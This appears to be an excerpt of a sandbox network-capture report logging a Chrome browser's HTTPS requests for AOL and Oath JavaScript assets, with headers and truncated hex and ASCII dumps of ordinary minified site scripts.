Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49792	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	573	OUT	GET /caas-assets-production/assets/v1/special_event.0ca9668537635e40.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1432987 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:40 GMT Etag: "0ca9668537635e407279482884bca098" Last-Modified: Tue, 07 May 2024 06:55:57 GMT Server: ECAcc (lhd/3599) Vary: Accept-Encoding x-amz-id-2: xtoHlBb424LcvThxgFKjTwRfyS4s9fVhlMGhTnZ0ev5xLKa/mGL0Oq3x7pBWtRhjUVbbo9SOf1o= x-amz-replication-status: COMPLETED x-amz-request-id: E4DJ0DFXXD8XKX26 x-amz-server-side-encryption: AES256 x-amz-version-id: s..rnOxiPTNNKylMT8qO0BjE3a5qbWFb X-Cache: HIT Content-Length: 3516 Connection: close
2024-05-23 22:34:40 UTC	3516	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49793	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	579	OUT	GET /caas-assets-production/assets/v1/notification_banner.e004617c8ef3480b.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167484 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:40 GMT Etag: "e004617c8ef3480bc2c886db24a64ddc" Last-Modified: Tue, 19 Mar 2024 11:05:57 GMT Server: ECAcc (lhd/35A8) Vary: Accept-Encoding x-amz-id-2: /2Cg/kSeKNOkCmYJ62V/kkZTYEs50W7XfpztpDmuP93NlPPYXMRy/nGpsmQTbb8nB4/KDtv5lY8= x-amz-replication-status: COMPLETED x-amz-request-id: EG2ZFT0MVWZPB3CJ x-amz-server-side-encryption: AES256 x-amz-version-id: lcgxb9VJ_Nl2sT2sGiK_itKjobH67vGf X-Cache: HIT Content-Length: 1878 Connection: close
2024-05-23 22:34:40 UTC	1878	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49794	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	563	OUT	GET /caas-assets-production/assets/v1/gam.f2ab6f1f63daee3b.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 814312 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:40 GMT Etag: "f2ab6f1f63daee3b6c02f8a6dee4b17c" Last-Modified: Tue, 14 May 2024 12:12:47 GMT Server: ECAcc (lhd/3589) Vary: Accept-Encoding x-amz-id-2: eR8R2JN0yfHCBT1Uyg8Nm2I3efolj44HsgwBltzDEzXFzl23PIROuljvFVIDkGfvUdAJGOaOG1s= x-amz-replication-status: COMPLETED x-amz-request-id: AS6F9Z45NP15W0JE x-amz-server-side-encryption: AES256 x-amz-version-id: SFg_GGPj_H3jb5JUpHo6_apGKpcyDfMs X-Cache: HIT Content-Length: 14416 Connection: close
2024-05-23 22:34:40 UTC	14416	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 3a 74 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49796	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	567	OUT	GET /caas-assets-production/assets/v1/taboola.d258f55a4ca48b0c.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	634	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 910508 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:40 GMT Etag: "d258f55a4ca48b0ca7c1abdb471f4523" Last-Modified: Mon, 13 May 2024 09:29:06 GMT Server: ECAcc (lhd/35EE) Vary: Accept-Encoding x-amz-id-2: KdW+YQqecGMXL0wYMoBEhSVZ4nqzoPb4kAHQG+pgagV26BZMnFzRumcXBB2ZmqI96UVqwD8xge8= x-amz-replication-status: COMPLETED x-amz-request-id: 2TNXAQHM98W0KNYZ x-amz-server-side-encryption: AES256 x-amz-version-id: dXsaUnZI9Df5Eqr7I9aWSpom5bMrnxeL X-Cache: HIT Content-Length: 7500 Connection: close
2024-05-23 22:34:40 UTC	7500	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 3a 74 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49797	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	562	OUT	GET /caas-assets-production/assets/v1/dl.2b4ff7c6e37d4dcc.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 910508 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:40 GMT Etag: "2b4ff7c6e37d4dcc8049969e7399a259" Last-Modified: Mon, 13 May 2024 09:29:06 GMT Server: ECAcc (lhd/370E) Vary: Accept-Encoding x-amz-id-2: EQTtYES9aWCbrNGh6u04Sh/JE/uhfbtnCkjXc7LvqDshcjtT3gWoS4KQ7TF5gi1hnExkt+NF8Kk= x-amz-replication-status: COMPLETED x-amz-request-id: 2TNMFWAV7Q61G062 x-amz-server-side-encryption: AES256 x-amz-version-id: kdoVqIr45BY.pByayFpTABAmz_J7pJFT X-Cache: HIT Content-Length: 67843 Connection: close
2024-05-23 22:34:40 UTC	15767	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 64 6c 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 Data Ascii: /! For license information please see dl.js.LICENSE.txt /!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 64 28 65 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 72 65 74 75 72 6e 20 65 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 44 65 72 69 76 65 64 20 63 6f 6e 73 74 72 75 63 74 6f 72 73 20 6d 61 79 20 6f 6e 6c 79 20 72 65 74 75 72 6e 20 6f 62 6a 65 63 74 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 Data Ascii: tion(t,e){if(e&&("object"===d(e)\|\|"function"==typeof e))return e;if(void 0!==e)throw new TypeError("Derived constructors may only return object or undefined");return function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super(
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 63 74 69 6f 6e 20 6f 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 63 2e 74 79 70 65 3d 22 74 68 72 6f 77 22 2c 63 2e 61 72 67 3d 65 2c 72 2e 6e 65 78 74 3d 6e 2c 6f 26 26 28 72 2e 6d 65 74 68 6f 64 3d 22 6e 65 78 74 22 2c 72 2e 61 72 67 3d 74 29 2c 21 21 6f 7d 66 6f 72 28 76 61 72 20 69 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 2e 6c 65 6e 67 74 68 2d 31 3b 69 3e 3d 30 3b 2d 2d 69 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 69 5d 2c 63 3d 61 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3b 69 66 28 22 72 6f 6f 74 22 3d 3d 3d 61 2e 74 72 79 4c 6f 63 29 72 65 74 75 72 6e 20 6f 28 22 65 6e 64 22 29 3b 69 66 28 61 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 29 7b 76 61 72 20 75 3d 6e 2e 63 61 6c 6c 28 61 2c 22 63 61 74 63 68 4c 6f 63 Data Ascii: ction o(n,o){return c.type="throw",c.arg=e,r.next=n,o&&(r.method="next",r.arg=t),!!o}for(var i=this.tryEntries.length-1;i>=0;--i){var a=this.tryEntries[i],c=a.completion;if("root"===a.tryLoc)return o("end");if(a.tryLoc<=this.prev){var u=n.call(a,"catchLoc
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 21 3d 3d 28 65 3d 74 68 69 73 2e 62 65 6e 6a 69 50 6c 61 63 65 6d 65 6e 74 29 26 26 76 6f 69 64 20 30 21 3d 3d 65 26 26 65 2e 69 73 50 65 6e 64 69 6e 67 29 29 7b 74 2e 6e 65 78 74 3d 32 3b 62 72 65 61 6b 7d 72 65 74 75 72 6e 20 74 2e 61 62 72 75 70 74 28 22 72 65 74 75 72 6e 22 2c 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 29 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 74 2e 61 62 72 75 70 74 28 22 72 65 74 75 72 6e 22 2c 74 68 69 73 2e 72 65 6e 64 65 72 4e 61 74 69 76 65 6c 79 28 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 72 2e 5f 72 65 6e 64 65 72 46 61 6c 6c 62 61 63 6b 28 29 7d 29 29 29 3b 63 61 73 65 20 33 3a 63 61 73 65 22 65 6e 64 22 3a 72 65 74 75 72 6e 20 74 2e 73 74 6f 70 28 29 7d 7d 29 2c 74 2c Data Ascii: !==(e=this.benjiPlacement)&&void 0!==e&&e.isPending)){t.next=2;break}return t.abrupt("return",Promise.resolve());case 2:return t.abrupt("return",this.renderNatively().catch((function(t){return r._renderFallback()})));case 3:case"end":return t.stop()}}),t,
2024-05-23 22:34:40 UTC	2927	IN	Data Raw: 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 77 61 66 65 72 4d 6f 64 75 6c 65 41 64 64 65 64 51 75 65 75 65 3d 72 2e 77 61 66 65 72 4d 6f 64 75 6c 65 41 64 64 65 64 51 75 65 75 65 2e 63 6f 6e 63 61 74 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 65 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 68 74 28 65 2c 6e 29 7d 72 65 74 75 72 6e 20 74 28 65 2c 72 29 7d 28 66 74 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 6d 74 29 29 29 2c 72 2e 61 64 64 57 61 66 65 72 45 76 65 6e 74 73 28 29 2c 72 2e 70 72 6f 63 65 73 73 51 75 65 75 65 28 29 7d Data Ascii: ady((function(){r.waferModuleAddedQueue=r.waferModuleAddedQueue.concat(function(t,e,r){if(e&&!Array.isArray(e)&&"number"==typeof e.length){var n=e.length;return ht(e,n)}return t(e,r)}(ft,document.querySelectorAll(mt))),r.addWaferEvents(),r.processQueue()}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49795	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	573	OUT	GET /caas-assets-production/assets/v1/recipe_search.664354b5a7ea43bf.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167533 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:40 GMT Etag: "664354b5a7ea43bfef752ab96998b9a7" Last-Modified: Tue, 19 Mar 2024 11:05:58 GMT Server: ECAcc (lhd/35FA) Vary: Accept-Encoding x-amz-id-2: NzHZ+YheBLl/IFyAl1PDxro5rnbXgFkmnvkoARn+4DuY0xmQFNVxFmyGyty1Ud5x89rLoCASGuY= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAKBE1T2XVST92G x-amz-server-side-encryption: AES256 x-amz-version-id: iiCu50dUUVcsBN0BsJRXxR6244vD.DGR X-Cache: HIT Content-Length: 5115 Connection: close
2024-05-23 22:34:40 UTC	5115	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 3a 74 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49748	152.195.53.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:40 UTC	535	OUT	GET /version/6.4.1/cmp.js HTTP/1.1 Host: consent.cmp.oath.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	509	IN	HTTP/1.1 200 OK Age: 315200 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Thu, 23 May 2024 22:34:40 GMT Etag: "6863ce0703ce4f482389f8a7e640e4e6+gzip+ident" Expires: Fri, 23 May 2025 22:34:40 GMT Last-Modified: Thu, 08 Feb 2024 18:14:22 GMT Server: ECD (lhc/78B7) Vary: Accept-Encoding x-amz-id-2: WwC0t3yF63d21YeOcCOdsPYloSzZbszp/9GDPgtLrKsTuhSPDPYwZx5xvN9adRhnNA0ol1UF/A0= x-amz-request-id: ASXFVJS3H989MVS9 X-Cache: HIT Content-Length: 184464 Connection: close
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 4d 50 20 36 2e 34 2e 31 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 38 20 4f 61 74 68 20 48 6f 6c 64 69 6e 67 73 2c 20 49 6e 63 2e 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 34 31 38 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 Data Ascii: /! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof S
2024-05-23 22:34:40 UTC	16383	IN	Data Raw: 3d 73 7d 2c 35 31 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 43 6f 6d 6d 61 6e 64 3d 76 6f 69 64 20 30 3b 74 2e 43 6f 6d 6d 61 6e 64 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 6e 29 7b 74 68 69 73 2e 73 75 63 63 65 73 73 3d 21 30 2c 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 3d 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 68 69 73 2c 7b 63 61 6c 6c 62 61 63 6b 3a 74 2c 70 61 72 61 6d 65 74 65 72 3a 6e 7d 29 7d 65 78 65 63 75 74 65 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 73 70 6f 6e 64 28 29 7d Data Ascii: =s},5148:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Command=void 0;t.Command=class{constructor(e,t,n){this.success=!0,this.cmpApiContext=e,Object.assign(this,{callback:t,parameter:n})}execute(){try{return this.respond()}
2024-05-23 22:34:40 UTC	2	IN	Data Raw: 45 6e Data Ascii: En
